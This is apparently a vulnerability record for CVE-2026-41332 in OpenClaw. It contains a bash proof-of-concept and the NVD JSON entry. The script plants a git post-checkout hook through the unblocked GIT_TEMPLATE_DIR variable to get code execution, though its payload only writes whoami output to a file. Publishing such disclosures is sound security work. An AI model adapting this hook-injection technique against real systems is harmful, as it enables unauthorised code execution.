CVE-2026-41332

#!/bin/bash # PoC for CVE-2026-41332: OpenClaw Env Variable Sanitization Bypass # This script demonstrates how an attacker can leverage GIT_TEMPLATE_DIR # to achieve arbitrary code execution via OpenClaw's exec request. # 1. Create a malicious git template directory with a post-checkout hook mkdir -p /tmp/evil_git_template/hooks cat <<EOF > /tmp/evil_git_template/hooks/post-checkout #!/bin/bash # Malicious payload execution echo "[+] PoC Executed: Code execution via CVE-2026-41332" > /tmp/poc_success.txt whoami >> /tmp/poc_success.txt EOF chmod +x /tmp/evil_git_template/hooks/post-checkout # 2. Set the environment variable not blocked by OpenClaw export GIT_TEMPLATE_DIR=/tmp/evil_git_template # 3. Simulate the vulnerable exec request (OpenClaw calling git) # In a real scenario, this would be triggered through the application's workflow git init /tmp/test_repo cd /tmp/test_repo git config user.email "[email protected]" git config user.name "test" touch test.txt git add test.txt git commit -m "test" # 4. Trigger the hook (e.g., by checking out a branch) git checkout -b trigger_payload # 5. Verify execution if [ -f /tmp/poc_success.txt ]; then echo "[!] Exploit successful!" cat /tmp/poc_success.txt else echo "[-] Exploit failed." fi

{"cve": {"id": "CVE-2026-41332", "sourceIdentifier": "[email protected]", "published": "2026-04-23T22:16:38.907", "lastModified": "2026-04-29T17:10:15.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.28 contains an environment variable sanitization vulnerability where GIT_TEMPLATE_DIR and AWS_CONFIG_FILE are not blocked in the host-env blocklist. Attackers can exploit approved exec requests to redirect git or AWS CLI behavior through attacker-controlled configuration files to execute untrusted code or load malicious credentials."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-184"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.28", "matchCriteriaId": "16831C6C-CC20-4318-8F7C-9FCFB12A223F"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-m866-6qv5-p2fg", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-code-execution-via-missing-environment-variable-blocklist", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}